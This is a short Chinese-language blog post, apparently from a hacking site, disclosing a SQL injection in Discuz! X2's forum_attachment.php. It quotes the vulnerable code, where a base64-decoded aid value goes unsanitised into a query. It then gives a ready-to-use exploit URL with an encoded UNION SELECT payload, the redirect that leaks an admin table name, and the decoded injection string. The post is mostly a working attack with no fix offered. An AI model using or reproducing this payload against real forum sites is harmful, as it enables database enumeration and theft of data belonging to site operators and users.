追求卓越,资源共享

Discuz! X2 SQL注射漏洞,支持Union

Discuz! X2 SQL注射漏洞,支持Union

文件:source\module\forum\forum_attachment.php


详细:
if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
define('NOROBOT', TRUE);
@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode('|', base64_decode($_G['gp_aid']));

if(!empty($_G['gp_findpost']) && ($attach = DB::fetch_first("SELECT pid, tid FROM ".DB::table('forum_attachment')." WHERE aid='$_G[gp_aid]'"))) {
dheader('location: forum.php?mod=redirect&goto=findpost&pid='.$attach['pid'].'&ptid='.$attach['tid']);
}

变量aid 直接base64_decode 后传入 SQL查询,造成注射漏洞。。。

http://www.xxxx.net/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D
转向后网址
http://www.xxxx.net/forum.php?mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member

暴出表名 pre_common_admincp_member

实际查询为:

$x="1' and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like '%_member|x|x|x|x";
//die (urlencode(base64_encode($x)));

{keywords:Discuz! X2 SQL注射漏洞,支持Union}是本站 (追求卓越,资源共享) 中一篇关于keywords:Discuz! X2 SQL注射漏洞,支持Union最经典的文章,欢迎您阅读和评论,您可以从百度搜索Discuz! X2 SQL注射漏洞,支持Union其它信息,也可以从google中查询更多Discuz! X2 SQL注射漏洞,支持Union的相关信息。
标签:Discuz! X2 SQL注射漏洞支持Union
分类:技术交流| 发布:laibu| 查看: | 发表时间:2011-12-14
原创文章如转载,请注明:转载自黑暗天堂 http://www.918x.cn/
本文链接:http://www.918x.cn/post/Discuz-X2-SQLZhuSheLouDong-ZhiChiUnion.html

相关文章

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。